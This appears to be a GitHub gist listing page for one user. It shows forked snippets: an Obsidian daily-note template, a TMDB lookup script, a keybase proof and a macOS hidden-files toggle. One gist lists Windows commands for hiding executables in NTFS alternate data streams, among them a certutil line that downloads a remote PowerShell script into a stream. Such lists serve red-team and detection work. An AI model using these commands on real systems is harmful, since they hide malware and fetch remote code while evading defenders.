Skip to content

Instantly share code, notes, and snippets.

@dogskool
dogskool / obsidian-daily-note-template.txt
Created September 27, 2023 16:28 — forked from dannberg/obsidian-daily-note-template.txt
Dann Berg's Daily Note Template for Obsidian. Uses Dataview & Templater plugins. Should be saved as a Markdown file in Obsidian. Read the full tour: https://dannb.org/blog/2022/obsidian-daily-note-template/
---
created: <% tp.file.creation_date() %>
---
tags:: [[+Daily Notes]]
# <% moment(tp.file.title,'YYYY-MM-DD').format("dddd, MMMM DD, YYYY") %>
<< [[<% fileDate = moment(tp.file.title, 'YYYY-MM-DD-dddd').subtract(1, 'd').format('YYYY-MM-DD-dddd') %>|Yesterday]] | [[<% fileDate = moment(tp.file.title, 'YYYY-MM-DD-dddd').add(1, 'd').format('YYYY-MM-DD-dddd') %>|Tomorrow]] >>
---
@dogskool
dogskool / TV.md
Created November 3, 2022 12:17 — forked from Michaelpalacce/TV.md

<%* const IMAGE_URL_BASE = "https://image.tmdb.org/t/p/w600_and_h900_bestv2"; const API_KEY="APIKEYHERE"; const guessShow = async (showName) => {
const config = {
method: "GET",
url: https://api.themoviedb.org/3/search/tv?api_key=${API_KEY}&language=en-US&page=1&include_adult=true&query=${encodeURIComponent(showName.replace("(Anime)", ""))},
throw: true
} const results = JSON.parse(await request(config));

@dogskool
dogskool / Exe_ADS_Methods.txt
Created December 9, 2019 22:25 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
@dogskool
dogskool / keybase.md
Created August 23, 2019 19:46
keybase.md

Keybase proof

I hereby claim:

  • I am dogskool on github.
  • I am dogskool (https://keybase.io/dogskool) on keybase.
  • I have a public key ASD3SxcOQuLMB8kU2m64zlNlNIUk4R_y8iUXjekcjyr9aAo

To claim this, I am signing this object:

@dogskool
dogskool / readme.md
Created July 27, 2019 22:13 — forked from jasonsturges/readme.md
Toggle hidden files Automator script for Mac OS X

To start, open up Automator (in the Applications folder) and choose a Service template. From the library choose "Run Shell Script" and drag it across to the workflow area. In the text box paste the following command:

STATUS=`defaults read com.apple.finder AppleShowAllFiles`
if [ $STATUS == YES ]; 
then
    defaults write com.apple.finder AppleShowAllFiles NO
else
    defaults write com.apple.finder AppleShowAllFiles YES
fi

killall Finder